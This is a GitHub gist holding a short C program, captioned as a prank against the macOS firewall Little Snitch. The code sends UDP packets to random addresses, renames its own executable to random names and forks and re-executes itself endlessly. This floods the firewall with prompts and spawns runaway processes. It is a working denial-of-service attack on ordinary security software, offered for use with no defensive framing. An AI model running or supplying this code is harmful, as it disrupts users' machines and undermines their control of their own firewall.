Skip to content

Instantly share code, notes, and snippets.

@darkuncle
Forked from jedisct1/snitchy-overdose.c
Created October 10, 2012 03:40
Show Gist options
  • Save darkuncle/3863033 to your computer and use it in GitHub Desktop.
Save darkuncle/3863033 to your computer and use it in GitHub Desktop.
Running Little Snitch? Have fun.
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <inttypes.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
void kaboom(int fodder)
{
(void) fodder;
}
int main(int argc, char *argv[])
{
char name[16U + 1U];
struct sockaddr_in si = {
.sin_len = sizeof si,
.sin_family = AF_INET,
.sin_addr.s_addr = arc4random(),
.sin_port = (uint16_t) arc4random()
};
int kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
fcntl(kindy, F_SETFL, O_NONBLOCK | fcntl(kindy, F_GETFL, NULL));
signal(SIGALRM, kaboom);
alarm(1);
(void) sendto(kindy, "", 1U, 0, (struct sockaddr *) &si, sizeof si);
close(kindy);
snprintf(name, sizeof name, "%" PRIx32 "%" PRIx32,
arc4random(), arc4random());
rename(argv[0], name);
if (fork() == (pid_t) 0) {
execl(name, name, NULL);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment